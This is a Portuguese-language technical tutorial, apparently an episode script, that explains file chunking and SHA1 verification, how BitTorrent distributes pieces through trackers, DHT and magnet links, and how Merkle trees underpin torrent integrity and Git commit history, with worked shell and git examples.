Podemos fazer isso com qualquer arquivo, seja texto ou binário, já expliquei que pro computador não faz diferença nenhuma, por baixo é tudo um linguição de bits. Só pra nós humanos que faz diferença porque arquivos texto conseguimos abrir e ler. De exemplo, peguei o script do episódio 142 que foi a explicação sobre ChatGPT. Esse script tem 94 kilobytes, ou seja, 94 mil letras. Quero conseguir dividir isso em arquivos iguais de exatamente 10 kilobytes cada, pra simular blocos de 10 kilobytes.

Pra isso usamos o comando “split” que tem em Linux. Só passar o tamanho de cada pedaço, o arquivo original e o prefixo do nome dos pedaços, que vou chamar de chunk.

split -b 10K subtitle_142.txt chunk_

❯ ls -la
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_aa
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ab
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ac
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ad
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ae
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_af
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ag
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ah
.rw-r--r--  10k akitaonrails 18 jul 13:22  chunk_ai
.rw-r--r-- 1,5k akitaonrails 18 jul 13:22  chunk_aj
.rw-r-----  94k akitaonrails 18 jul 13:21  subtitle_142.txt

Pronto, obviamente, só o último arquivo vai ser menos que 10 kilobytes, mas vejam como consegui dividir direitinho. Posso tentar dar cat em qualquer pedaço e vai vir o trecho do script. Quebrar arquivos grandes em pedaços menores era algo que fazíamos o tempo todo nos anos 90 porque era muito arriscado tentar fazer download de um arquivo gigante. O modem podia desligar no meio do caminho, algoritmos de checagem de corrupção ainda não eram difundidos, então podia vir sujeira na linha e o arquivo ser corrompido. Se viesse corrompido, precisava mandar baixar tudo de novo do zero.

Então dividíamos o risco. Era melhor deixar agendado pra ir baixando um pedaço de cada vez. Se alguma coisa desse errado, só um pedaço ia ser corrompido e dava pra baixar só aquele pedaço separado depois, em vez de ter que recomeçar do zero. Hoje em dia o próprio protocolo HTTP suporta resumir um download pela metade e o protocolo TCP garante que os pacotes não vão vir corrompidos, como já expliquei na série de redes. Mas estou falando de uma era antes dessas facilidades.

E agora vocês já sabem. Uma forma de manualmente checar se meus pedaços vieram corretamente seria ter um arquivo com o hash de cada pedaço. Assim podemos comparar o hash do download e ver se nada foi corrompido. Lembra? Como estou falando de anos 90, poderíamos fazer o SHA1 de cada pedaço. Por exemplo, eis o hash do primeiro pedaço, com o comando sha1sum:

❯ sha1sum chunk_aa
c3bb4df901fb79af2421cc274e9db87309bf6424  chunk_aa

Com um pouco de mágica de script de shell, podemos fazer a mesma coisa pra todos os pedaços e colocar num arquivo “index.txt” da seguinte forma, fazendo, pra cada file, ou arquivo, que começa com “chunk”, gere o sha1 e vá adicionando nesse arquivo index.txt.

for file in chunk_*; do
    sha1=$(sha1sum "$file" | awk '{print $1}')
    echo "$file $sha1" >> index.txt
done


/tmp/subtitle 
❯ cat index.txt 
chunk_aa c3bb4df901fb79af2421cc274e9db87309bf6424
chunk_ab 79a5c1fb9a9708982a92009d874bd9ee3db65a31
chunk_ac 84de6f8eb80fc64628514500b8d6b09ff930bda5
chunk_ad 2f68d9f1caffdfca69b28ae33348cdd0ca467474
chunk_ae c644daae2adcc6c87b8b4ee91052535c50edbe4f
chunk_af de3471b65337f2ffb2d97bbd6ef45b1e95d6ba88
chunk_ag 454093fda498e7f67cacb0919e3a5ffa579d0cb6
chunk_ah a0d040c39213188382dc681d7a74da283bfb07c0
chunk_ai 0469b41afb556f10c01cca5f099a81e6b5e17a31
chunk_aj 45fa07b4fdfea4a0a5c02abcad6520b652264a25

Por isso é interessante aprender sobre scripts de shell. Abrindo o arquivo “index.txt” com “cat” temos o nome do arquivo de cada pedaço seguido do seu hash SHA1. Olhem como o sha1 do primeiro arquivo bate com o que geramos na mão antes. Então está correto. Além disso, esse arquivo me diz exatamente a totalidade dos pedaços que preciso baixar. Poderíamos fazer outro script pra baixar cada pedaço, checar o SHA1 e se vier errado, mandar refazer o download só daquele pedaço. Fica de exercício pra vocês fazerem isso.

Ok, fizemos o download de todos os pedaços. E agora? Como remontamos o arquivo original? É simples, bastar dar “cat” de todos os pedaços e redirecionar pra um arquivo final, assim, cat chunk asterisco maior pra restored.txt:

cat chunk_* > restored.txt

❯ sha512sum restored.txt   
bfec6c9efe398146b8197b7b0258860563f6057dac7f6d1931ec5d4118c730d47007678ddd2cf9387b5b02903c7dd35a1911a2da4707d624ce4e996514a766c6  restored.txt

/tmp/subtitle 
❯ sha512sum subtitle_142.txt 
bfec6c9efe398146b8197b7b0258860563f6057dac7f6d1931ec5d4118c730d47007678ddd2cf9387b5b02903c7dd35a1911a2da4707d624ce4e996514a766c6  subtitle_142.txt

Isso funciona em shells modernos porque a maioria sempre lista os arquivos em ordem alfabética. Caso o seu não faça isso, precisaria primeiro usar o comando “sort”, de novo, fica de exercício. Mas assumindo que o cat pegou cada arquivo chunk na ordem certa, como sei que o arquivo restored.txt realmente é idêntico ao original? Vocês já sabem né? Só comparar o hash dos dois. E como podem ver, é exatamente igual. Se um único bit tivesse vindo errado, os hashes seriam diferentes.

Estão entendendo como podemos manipular qualquer tipo de dados e garantir a integridade deles via ferramentas criptográficas? Sabendo desses conceitos, vou fazer uma explicação super de alto nível pra explicar como BitTorrent tira proveito disso que acabei de explicar.

Existem duas formas de baixar um arquivo via Torrent. Um é baixando um arquivo .torrent, como aquele do site do Manjaro. Podemos usar o programa “transmission-show” que vem no pacote “transmission-cli” pra abrir e ver o conteúdo desse arquivo.

❯ transmission-show manjaro-gnome-22.1.3-230529-linux61.iso.torrent 
Name: manjaro-gnome-22.1.3-230529-linux61.iso
File: manjaro-gnome-22.1.3-230529-linux61.iso.torrent

GENERAL

  Name: manjaro-gnome-22.1.3-230529-linux61.iso
  Hash v1: 68617f6ffc9f95bbca41733556f666739f647f9c
  Created by: mktorrent 1.1
  Created on: Mon May 29 06:38:30 2023

  Piece Count: 1769
  Piece Size: 2.00 MiB
  Total Size: 3.71 GB
  Privacy: Public torrent

TRACKERS

  Tier #1
  udp://tracker.opentrackr.org:1337

WEBSEEDS

  https://download.manjaro.org/gnome/22.1.3/manjaro-gnome-22.1.3-230529-linux61.iso

FILES

  manjaro-gnome-22.1.3-230529-linux61.iso (3.71 GB)

O importante desse arquivo é que ele identifica o que vamos baixar, no caso o ISO, e onde podemos achar esse arquivo. Primeiro temos esse tal de tracker. Um tracker é um servidor que contém listas de peers que estão online e que tem o arquivo com este hash. Se tiver pelo menos 1 peer ativo que seja um seeder, vai começar a baixar. Peer é o nome que damos pra qualquer máquina, PC, servidor, participando dessa rede. Um tracker não necessariamente tem o arquivo ou seus pedaços, mas sabe quem pode ter, que são os peers.

Você já deve ter visto essa nomenclatura em programas de torrent como QBitTorrent ou Transmission. Quanto mais seeders tiver ativo, melhor será o download. Seeder são computadores online que também estão compartilhando o mesmo arquivo ou pedaços. Leechers são computadores online fazendo download mas não contribuindo em nada. Parasitando mesmo, leeching. O algoritmo do BitTorrent tenta ser justo e deixar download mais rápido pra quem contribui e download mais lento pra quem é só parasita.

Trackers só compartilham e sincronizam a lista de peers, peers podem ser tanto seeders quanto leechers. Quanto mais seeders, mais rápido o download, quanto mais leechers e menos seeders, mais lento o download. O mundo ideal é todo mundo ser seeder. Alguns são chatos e desligam mesmo, outros realmente não conseguem contribuir porque a rede do provedor bloqueia e eles não sabem como furar firewall. Eu falo de furar firewall na série de redes. Depois procurem saber mais como habilitar portas, usar VPN pra torrent e coisas assim, não vou falar disso hoje.

Vamos voltar pro arquivo .torrent. Olhem outras informações que ele nos dá. Sabemos que o arquivo ISO tem 3.7 gigabytes, como já repeti várias vezes, e sabemos que este torrent está organizado em mil setecentos e sessenta e nove pedaços de 2 megabytes cada. Lembra os chunks que fiz usando o comando split? É a mesma coisa. Ele não mostra aqui, mas dentro desse torrent vai ter uma lista de pedaços seguido do hash de cada pedaço, parecido com aquele arquivo “index.txt” que fiz no exemplo.

Cada seeder que o tracker conhece, vai ter ou o arquivo inteiro ou o arquivo parcial, porque ainda não terminou o download. Agora eu, que comecei o download agora, começo a baixar cada um desses pedaços de cada um dos seeders disponíveis, em paralelo. Por exemplo, digamos que na rede tenha o seeder John, a seeder Sara e o seeder Kyle. E eu vou baixar aquele meu arquivo de script. Começo a baixar o chunk_aa do John, o chunk_ab da Sara, o chunk_ac do Kyle e assim por diante.

Toda vez que um chunk termina de baixar, consigo checar o hash e sei que tá correto, daí peço o chunk seguinte, distribuindo a carga entre todos os seeders. Se outra pessoa aparecer pedindo o mesmo arquivo, talvez ele pegue um chunk de mim. Entenderam? O seeder não precisa ter o arquivo completo pra começar a contribuir, basta ter pelo menos um chunk completo. E por isso, quanto mais gente tiver, menos pesado fica pra todo mundo, especialmente pro servidor principal da Manjaro. É a base de computação distribuída.

Se não tiver nenhum seeder ativo, o arquivo .torrent aponta pra um Webseed, que é o link pro arquivo original no servidor da Manjaro. Daí seria como um download direto normal mesmo. Entenderam até aqui: com uma lista de pedaços e seus respectivos hashes, distribuídos entre diversos computadores num swarm, ou enxame, e cada um baixando um pedaço do computador do outro, até todo mundo ter o arquivo completo, essa é a arquitetura básica por trás do BitTorrent.

BitTorrent é “decentralizado” no sentido que, diferente de um iTunes da Apple, não tem uma única empresa nem um único servidor que centraliza os downloads. Eis alguns mecanismos que tornam o BitTorrent resiliente, embora não totalmente invulnerável.

De cara, poderíamos pensar que se derrubarmos quem mantém trackers, poderíamos parar um enxame, não? Primeiro, não existe somente um tracker, existem diversos trackers servindo um de backup pro outro. Precisaria derrubar todos os trackers em atividade no mundo. Mas isso não seria suficiente.

Toda vez que você abre um programa como Transmission ou Nano Torrent da vida, ele faz “bootstrapping” usando uma lista de “bootstrapping nodes”, uma lista de nós bem conhecidos na rede que acreditamos que costumam estar online, vários deles. São esses nós que nos ajudam a achar outros nós. Assim como trackers, eles também não são pontos únicos de falha.

Quando seu programa se conecta e acha um tracker ou um bootstrapping node, ele se junta à rede DHT ou Hash Table distribuído. Cada nó que entra na rede armazena informação sobre a rede toda ou um pedaço da rede. Então, quando você pergunta ao DHT por alguma coisa, seu cliente de BitTorrent manda uma requisição pra um nó que ele conhece. Esse nó ou vai ter a informação e te retornar ou vai te direcionar pra outro nó que pode saber essa informação. A partir desse ponto você, como nó da rede, passa a ter essa informação e pode responder a alguém que te perguntar também. Todo mundo se torna backup e contribui pra outras pessoas.

O conceito de trackers é um pouco obsoleto na realidade, das primeiras versões de BitTorrent. Ele veio evoluindo e agora temos o conceito de DHT e PEX que é Peer Exchange. Mesmo derrubando todos os trackers, cada pessoa conectada na rede contribui pra distribuir a informação do resto da rede. Hoje em dia os programas de BitTorrent implementam as duas maneiras.

Eu falei do arquivo .torrent que baixamos pra começar um download via BitTorrent, mas nem precisamos desse arquivo. Vocês já devem ter visto o que se chama de link magnético, que é tipo uma URL que usa o protocolo “magnet”. Lembram o arquivo .torrent da ISO do Manjaro que baixamos? Podemos gerar um link a partir dele usando o programa “transmission-show” com a opção “-m”:

❯ transmission-show -m /mnt/terachad/Downloads/manjaro-gnome-22.1.3-230529-linux61.iso.torrent
magnet:?xt=urn:btih:68617f6ffc9f95bbca41733556f666739f647f9c&dn=manjaro-gnome-22.1.3-230529-linux61.iso&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&ws=https%3A%2F%2Fdownload.manjaro.org%2Fgnome%2F22.1.3%2Fmanjaro-gnome-22.1.3-230529-linux61.iso

É esse link que encontramos em diversos sites que listam torrents pra baixar. Veja num Piratebay da vida, onde tem esse ícone de ímã. Quando clica, automaticamente pede pra abrir seu programa de Torrent instalado. A parte mais importante é esse “btih” logo no começo que é o BitTorrent InfoHash, o hash que identifica unicamente esse arquivo de ISO. O resto ajuda mas é opcional. Por exemplo, ele tem o link pro webseed caso ninguém esteja oferecendo o arquivo na rede e também o link pra um tracker.

Vamos fazer um html idiota com o link pra esse magnet. Um link com a URL inteira que foi gerado e um segundo link só com o infohash.

<html>
 <body>
  <p><a href="magnet:?xt=urn:btih:68617f6ffc9f95bbca41733556f666739f647f9c&dn=manjaro-gnome-22.1.3-230529-linux61.iso&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&ws=https%3A%2F%2Fdownload.manjaro.org%2Fgnome%2F22.1.3%2Fmanjaro-gnome-22.1.3-230529-linux61.iso">Magnet pro ISO</a></p>
  <p><a href="magnet:?xt=urn:btih:68617f6ffc9f95bbca41733556f666739f647f9c">Magnet pro ISO (só infohash)</a></p>
 </body>
</html>

Se abrir num navegador e clicar no link, o media type está associado ao QBitTorrent instalado no meu Manjaro. Ele abre e oferece pra começar a baixar. Se eu abrir pelo segundo link, mesmo sem informação de webseed e nem de tracker, só com o infohash, olha só, abre normalmente e oferece pra baixar igual. Isso porque o QBitTorrent na minha máquina se uniu à rede, via DHT e PEX e conseguiu achar os seeders e já sabe como começar a baixar.

Entenderam? Pra parar um arquivo de ser compartilhado, não basta derrubar todos os trackers, precisa parar 100% de todo mundo que está compartilhando o arquivo, de todas as partes do mundo, ao mesmo tempo. Se tiver só um nó na rede funcionando, dá pra continuar compartilhando, porque via DHT e PEX, essa informação vai voltar a ser distribuída. Computação distribuída é fascinante por causa disso: ninguém consegue parar somente com uma canetada sem comprometer a internet inteira de funcionar direito. Por isso eu gosto desse conceito.

DHT e PEX são assuntos fascinantes por si só, pra garantir a descentralização da rede, então espero que vocês pesquisem mais sobre isso depois. Ótimo tema pra TCC. Mas tem um assunto menos comentado que eu acho ainda mais interessante. É o conceito de Árvores de Hashes ou Merkle Trees, nome dado por causa do criador do conceito, Ralph Merkle, que inventou isso no fim dos anos 70.

Vamos lá. O que temos até agora é um arquivo “index.txt” com uma lista de chunks ou pedaços daquele meu arquivo de script. 10 pedaços com o hash SHA1 do lado de cada um, lembram? Numa versão rudimentar de BitTorrent, eu poderia ter baixado esse arquivo e perguntado na tabela distribuída de hashes, o tal DHT, de onde baixar cada pedaço, identificado pelo SHA1, que serve como um ID único pra cada pedaço.

Depois que fizer o download de cada pedaço, basta rodar o comando “sha1sum” e comparar o hash com o que tem no arquivo “index.txt”. Se bater é porque veio correto, sem corromper nem nada. No final, basta concatenar os pedaços como fiz antes, gerar o hash do arquivo todo, comparar com o hash mestre do arquivo original, pra garantir que tenho o mesmo arquivo no final. Parece simples e parece que só isso é o suficiente.

Mas no mundo real tem várias razões de porque isso não é suficiente. Pra começar, via BitTorrent podemos trafegar arquivos de qualquer tamanho gigante, posso compartilhar diretórios inteiros com milhares de arquivos. Eu poderia fazer um torrent do C: inteiro do meu Windows se quisesse. E posso puxar pedaços de diversos nós diferentes no enxame de computadores participando na rede. Pra validar o hash de tudo, dessa forma, não seria prático. Imagine ter que computar o hashzão do seu HD inteiro pra saber se o que fiz download tá correto. Seria muito pesado, em alguns casos até inviável.

Em programação, você sempre vai bater nesse caso: pra um arquivo pequeno, com poucos kilobytes ou megabytes de tamanho, o esquema simples de um arquivo de hashes é mais que suficiente. Mas pra escala de internet, onde podemos querer lidar com gigabytes ou terabytes, milhares de arquivos num mesmo torrent, não vai escalar.

Pense assim, temos 10 hashes, um pra cada pedaço, e temos 1 hash mestre, que valida o arquivo completo inteiro. Eu recebo esses hashes e começo a fazer download de algum nó. Veio esse primeiro pedaço chunk_aa, o hash começa com c3bb. Eu rodo o comando sha1sum e vejo que, sim, o hash começa com c3bb mesmo. Bacana. Isso só garante que o pedaço é quem ele diz que é, mas como eu sei que de fato esse pedaço faz parte do arquivão inteiro?

A única forma é baixar todos os 10 pedaços, concatenar tudo, rodar o “sha1sum” pro arquivo gerado e comparar com o hash mestre. Só assim vou saber que todos os pedaços são realmente válidos pra esse arquivo, entenderam? Os hashes individuais não me dizem nada sobre o arquivo inteiro original. Eu tenho que confiar que o nó da rede, que me deu essa informação, não mentiu pra mim. Imagina se fosse um torrent como falei antes, com vários arquivos e muitos gigabytes. Eu só ia ter certeza que todos são válidos depois que baixar tudo.

Em BitTorrent, vocês já devem ter visto que podemos escolher baixar somente alguns dos arquivos e não todos. Então, de cara, esse esquema de só ter um hash mestre pra tudo não funciona. Eu preciso de hashes parciais, no mínimo um pra cada arquivo separado, não? E mesmo assim, preciso garantir que esse arquivo, uma vez que baixei os pedaços e montei, de fato faz parte do conjunto todo, sem ter que baixar o conjunto todo. Como faz?

Pra simplificar, vamos partir de novo do exemplo de 10 pedaços. Imagine que isso poderia ser um arquivo de milhares de pedaços e dezenas de arquivos em sub-diretórios. É uma simplificação, ok? Pois bem, começo organizando esses pedaços em pares. chunk_aa com chunk_ab, depois chunk_ac com chunk_ad e assim por diante. Pares de pedaços.

Agora pegamos o hash de cada par e concatenamos só eles. Por exemplo, o hash c3bb do chunk_aa com o hash 79a4 do chunk_ab. E gero o hash dessa combinação. Vai dar um hash que começa com “0285”. Faço a mesma coisa com os hashes do próximo par, vai dar um novo hash que começa com “84de” e continuo fazendo isso pros outros pares.

/tmp/subtitle 
❯ echo "c3bb4df901fb79af2421cc274e9db87309bf642479a5c1fb9a9708982a92009d874bd9ee3db65a31" | sha1sum
0285f4ec89c694112c330ec20a571457a4e159f2  -

/tmp/subtitle 
❯ echo "84de6f8eb80fc64628514500b8d6b09ff930bda52f68d9f1caffdfca69b28ae33348cdd0ca467474" | sha1sum
05e420886ad96877bd78051df8a01c4a9414cc33  -

/tmp/subtitle 
❯ echo "c644daae2adcc6c87b8b4ee91052535c50edbe4fde3471b65337f2ffb2d97bbd6ef45b1e95d6ba88" | sha1sum
d9e3a713ccd57d87adb4ea04aede0cebdcc8fd8e  -

/tmp/subtitle 
❯ echo "454093fda498e7f67cacb0919e3a5ffa579d0cb6a0d040c39213188382dc681d7a74da283bfb07c0" | sha1sum
4c6b2637222b6a7cc9e52a3d5441dedcdf00b4e6  -

/tmp/subtitle 
❯ echo "0469b41afb556f10c01cca5f099a81e6b5e17a3145fa07b4fdfea4a0a5c02abcad6520b652264a25" | sha1sum
65c704fefd21e50f92df28de813ef2d3b4d7cff4  -

0285f4ec89c694112c330ec20a571457a4e159f2
05e420886ad96877bd78051df8a01c4a9414cc33
d9e3a713ccd57d87adb4ea04aede0cebdcc8fd8e
4c6b2637222b6a7cc9e52a3d5441dedcdf00b4e6
65c704fefd21e50f92df28de813ef2d3b4d7cff4

No final vou ter 5 novos hashes. Agora repito o mesmo processo. Organizo pares de hashes, concateno e gero um novo hash pra cada par. Pego esse hash que começa com “0285” com o hash que começa com “05e4” e gero o hash que começa com “9361”. Faço isso pro segundo par. Só no terceiro par que vou ter problemas porque o último hash vai ficar sozinho. Não tem problema, gero o hash dele também, concatenado com vazio mesmo.

/tmp/subtitle 
❯ echo "0285f4ec89c694112c330ec20a571457a4e159f205e420886ad96877bd78051df8a01c4a9414cc33" | sha1sum
9361c518dbcc3374c2d9a6c343dfa903f5226219  -

/tmp/subtitle 
❯ echo "d9e3a713ccd57d87adb4ea04aede0cebdcc8fd8e4c6b2637222b6a7cc9e52a3d5441dedcdf00b4e6" | sha1sum
910ec073793aafe29790941efe004c17debdc2d9  -

/tmp/subtitle 
❯ echo "65c704fefd21e50f92df28de813ef2d3b4d7cff4" | sha1sum
2924e53ff12eae61d88da7a0cca2967150881598  -

Vamos repetir mais uma vez. Par de hashes “9361” com “910e” vai dar “bdf3” e o último hash é “2354”. E pronto. Chegamos ao final, temos só dois hashes resultantes. Geramos o hash da concatenação desses dois também. Vai dar um hash final que começa com “f2fb”. Esse hash é especial, é o que chamamos de Merkle Root ou Raiz Merkle. É o hash que engloba todos os outros hashes.

/tmp/subtitle 
❯ echo "9361c518dbcc3374c2d9a6c343dfa903f5226219910ec073793aafe29790941efe004c17debdc2d9" | sha1sum
bdf3037c43dbe2cb7bf318a38948b3a504bea5d7  -

/tmp/subtitle 
❯ echo "2924e53ff12eae61d88da7a0cca2967150881598" | sha1sum
2354ddf1e76303140524dad59d5c2c3f418d87b7  -



/tmp/subtitle 
❯ echo "bdf3037c43dbe2cb7bf318a38948b3a504bea5d72354ddf1e76303140524dad59d5c2c3f418d87b7" | sha1sum
f2fb982d0f416376d64a7b451fa2d2176bf45ca8  -

chunk_aa c3bb
chunk_ab 79a5  0285
chunk_ac 84de
chunk_ad 2f68  05e4  9361
chunk_ae c644
chunk_af de34  d9e3
chunk_ag 4540
chunk_ah a0d0  4c6b  910e  bdf3
chunk_ai 0469
chunk_aj 45fa   65c7  2924  2354  f2fb

Antes, se eu só tivesse o hash mestre, precisaria de todos os 10 hashes de cada pedaço pra saber se tá tudo correto. Mas nesse esquema da árvore de Merkle, digamos que eu queira saber se o pedaço “aa” que acabei de baixar realmente faz parte do arquivo final, sem baixar os outros pedaços, como eu faço? Peço pro servidor somente os hashes do irmão “ab”, com isso consigo calcular “aa” e “ab” como fiz antes. Daí preciso que o servidor me mande os 4 hashes “acad”, “aeaf”, “agah”, “aiaj”.

Tendo somente esses 4 hashes, mais o hash do pedaço “aa”, consigo recalcular a árvore e achar a raiz Merkle e comparar com o que o servidor me indicou. Se bater, quer dizer que esse pedaço que baixei faz parte do arquivo final. Repetindo: eu diminuí a necessidade de precisar de todos os 10 hashes pra somente 4 hashes, sacaram?

De novo, é um exemplo super pequeno e simples só pra caber aqui na tela. Mas veja aquele exemplo da ISO do Manjaro, lembram? Eram quase mil e oitocentos pedaços. Se eu baixar só um pedaço, pra garantir que ele faz realmente parte do ISO original, precisaria calcular o hash mestre usando todos os quase mil e oitocentos hashes. Mas organizado numa árvore, precisaria só de uns log2(2048) que dá 11.

A árvore precisa ser balanceada, e o próximo número acima de mil e oitocentos que balanceia uma árvore binária é 2048. Enfim, eu preciso que o servidor me mande a raiz Merkle que ele tem pré-calculado e 11 hashes dessa árvore, mais ou menos. Não é um número exato esse log. Mas entenda que 11 é uma ordem de grandeza menos hashes do que mil e oitocentos. Mesmo nesse exemplo simples de só uma ISO de Manjaro, já temos um ganho significativo.

BitTorrent não foi criado com árvores Merkle, isso é uma coisa mais recente. Da mesma forma que hoje não precisaria de trackers por causa de DHT e PEX. É uma tecnologia ainda em evolução. Lembram do que eu falei no video sobre bancos de dados: árvores são as estruturas de dados mais importantes da computação, tudo são árvores. Nesse caso, árvores binárias, mas já falei de B-trees ou B+Trees em sistemas de arquivos. Assistam meu video de Árvores depois.

Sabe que outro programa se beneficia de árvores Merkle? Git. O que são commits? São diffs com trechos de arquivos de código fonte, mais metadados, como nome do arquivo, autor da modificação, datas. Uma característica importante de um commit é que ele é identificado por um hash, um SHA1 do seu conteúdo. É como sabemos que o conteúdo não foi adulterado, da mesma forma como fizemos pra checar os chunks do download via BitTorrent.

Mas um commit de Git tem outra característica importante: ele contém o SHA1 do commit pai anterior. Por isso commits formam uma cadeia, mais especificamente, uma árvore. Objetos de árvore de diretórios também tem SHA1 dos objetos filho. Tudo isso forma um DAG, um direct acyclic graph ou grafo direcionado não cíclico, mais especificamente um Merkle DAG.

Uma característica importante é que como todo commit contém o SHA1 do commit anterior, é impossível modificar só um commit no meio da árvore. Precisaria reescrever todos os commits na frente e regerar SHA1 novos pra todos. É o que chamamos de “reescrever a história”. Vocês já devem ter ouvido falar disso em discussões se é melhor fazer merge ou rebase e todo mundo é contra fazer rebases na master porque isso “reescreve a história”. É isso que significa reescrever a história: tem que regerar o SHA1 de todos os commits pra frente.

Deixa eu mostrar rapidamente com um exemplo. Vamos iniciar um novo repositório com “git init” e criar um arquivo de teste idiota só pra criar o primeiro commit.

❯ git init
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint: 
hint:  git config --global init.defaultBranch <name>
hint: 
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint: 
hint:  git branch -m <name>
Initialized empty Git repository in /tmp/teste/.git/



teste on  master 
❯ echo "hello world" > hello.txt

teste on  master [?] 
❯ git a .

teste on  master [+] 
❯ git c "initial commit"
[master (root-commit) 308ba8d] initial commit
 1 file changed, 1 insertion(+)
 create mode 100644 hello.txt

Fazendo “git log” vemos o commit identificado pelo hash que começa com “4b4c”. Agora vamos criar um novo branch chamado “teste”, modificar o arquivo e criar um novo commit. No caso criou um novo commit identificado pelo hash que começa com “65c2”. (no exemplo abaixo está com outro hash porque refiz o exemplo e a mudança de data gera hashes diferentes)

commit 1eb601ac03c713abaa08fd54e002eec04ee66922 (HEAD -> teste)
Author: AkitaOnRails <fabioakita@gmail.com>
Date:   Thu Aug 24 11:54:32 2023 -0300

    adding hello again

commit 308ba8d7ee9ac84c6b318393614203e2b905f0f4 (master)
Author: AkitaOnRails <fabioakita@gmail.com>
Date:   Thu Aug 24 11:53:28 2023 -0300

    initial commit

Agora vou voltar pro branch master, criar um novo arquivo qualquer e gravar em outro commit. Veja só, criou esse commit com hash que começa com “9431”. Agora, em vez de merge vou fazer rebase do branch teste em cima do branch master com “git rebase teste”. Como não fiz nada demais, vai terminar sem nenhum conflito.

commit 921bb4796a2545fabc87324b5a8fa069d53201f2 (HEAD -> master)
Author: AkitaOnRails <fabioakita@gmail.com>
Date:   Thu Aug 24 11:55:16 2023 -0300

    adding foo

commit 1eb601ac03c713abaa08fd54e002eec04ee66922 (teste)
Author: AkitaOnRails <fabioakita@gmail.com>
Date:   Thu Aug 24 11:54:32 2023 -0300

    adding hello again

commit 308ba8d7ee9ac84c6b318393614203e2b905f0f4
Author: AkitaOnRails <fabioakita@gmail.com>
Date:   Thu Aug 24 11:53:28 2023 -0300

    initial commit

Fazemos “git log” e olha só, o commit que eu tinha acabado de fazer, que tinha o hash começando em “9431” agora começa com “ee00”. Isso porque antes, o commit anterior era o “initial commit” com hash “4b4c”. Como fiz rebase, ele trouxe o commit “adding hello again” de hash “65c2”, que passa a ser o novo pai do commit “adding teste”, portanto o hash desse commit tem que ser recalculado e por isso mudou pra “ee00”, ou seja, acabamos de reescrever a história.

Esse conceito é muito importante. Ao colocar o SHA1 do commit anterior no commit atual, criamos uma dependência entre esses dois objetos. Se o objeto anterior mudar, se seu hash mudar, o hash do objeto seguinte vai ser invalidado e precisa ser recalculado também. Não dá pra simplesmente entuchar um commit no meio da cadeia sem consequências e é isso que garante a integridade do código fonte armazenado nesse repositório.

Se alguém tentar adulterar um commit lá atrás no passado, ele vai ser obrigado a fazer rebase de tudo pra frente, ou seja, recalcular o SHA1 de todo mundo. Daí todo mundo vai imediatamente saber que o repositório foi modificado, porque os IDs de tudo vão estar diferentes. É onde temos que lidar com conflitos depois. Se você nunca parou pra entender como o Git realmente funciona, recomendo que assista meu video de “Entendendo Git”.

Entenda, ter um Merkle Tree não impede que um commit seja adulterado. Só torna mais fácil de identificar quando for. E torna mais barato fazer os cálculos pra chegar nessa conclusão, do que ter que checar o SHA1 de 100% de tudo. No caso de Git, que é um repositório decentralizado, digamos que era uma equipe de 5 pessoas. Uma delas faz pull do GitHub e nota que alguém fez merda e deu “push –force” de um rebase gigante que reescreveu centenas de commits.

Você consegue ver que isso aconteceu e consegue ligar pra um dos outros colegas que ainda não fez “pull” e pedir pra ele dar um novo “push –force” pra recuperar o histórico como era antes e eliminar a cagada. O fato de termos várias cópias do mesmo repositório nas máquinas de todo mundo é um tipo de backup. Se o repositório elegido como principal ficou zoado, tem formas de recuperar. E não precisa sobrescrever tudo, só a partir do commit onde deu rebase, entenderam?

Existem várias discussões sobre centralizadores de Git como GitHub ou GitLab. Eles centralizaram a confiança de Git neles, mas Git originalmente não era pra ter um ponto único de falha. Você pode fazer git clone do repositório de alguém localmente, num pendrive, como mostrei no episódio anterior. Não precisa obrigatoriamente ter que fazer git clone de um repositório do GitHub. Isso é outra discussão, só pra vocês saberem que Git também foi feito pra ser distribuído, mas hoje em dia usamos centralizado num GitHub da vida.

Voltando pro exemplo de BitTorrent. Como qualquer computador na internet pode participar do compartilhamento de arquivos, sim, algum computador malicioso poderia começar a tentar espalhar binários adulterados. Mas o principal é o arquivo .torrent ou link magnético que aponta pra algum nó que normalmente confiamos, que vai nos fornecer a árvore Merkle com os hashes. Tendo os hashes, conseguimos checar se os pedaços que baixamos são válidos ou não.

Esses hashes são organizados numa tabelona, mais especificamente numa tabela distribuída, ou Distributed Hash Table, o DHT que eu fico falando. Pra quem é desenvolvedor web, é parecido com um DynamoDB. Cada item nessa tabelona ganha um ID longo de 160 bits. E os possíveis IDs são particionados entre os diversos nós da rede, de tal forma que cada nó só é responsável por um pedaço do espaço de IDs possíveis.

Toda vez que algum nó precisa registrar alguma coisa, ele gera uma chave e com isso determina qual nó que é responsável pelo espaço de IDs que essa nova chave faz parte, e manda pra esse nó. Mesma coisa pra pesquisar dados na tabela, tendo o ID pra consultar, ele pergunta pro nó responsável por esse intervalo de IDs.

Uma rede de BitTorrent é gigantesca, milhares ou milhões de nós ao mesmo tempo. É impossível meu computador saber quais são todos os nós ativos neste exato momento no mundo. Em vez disso, cada nó mantém um tipo de tabela de roteamento com informações sobre um sub-conjunto dos nós na rede, preferencialmente os mais “próximos” do espaço de IDs. Quando alguém pede pro seu nó gravar ou ler um certo ID mas você não é o responsável, dá pra usar essa tabela de roteamento pra redirecionar pro nó certo.

E claro, um nó pode simplesmente desaparecer do nada. Como cada nó pode ser um computador caseiro, alguém pode desligar o PC e sair da rede. Por isso essas informações são redundantes entre vários nós. Os algoritmos de DHT e roteamento vão se balanceando e atualizando dinamicamente com nós entrando e nós saindo.

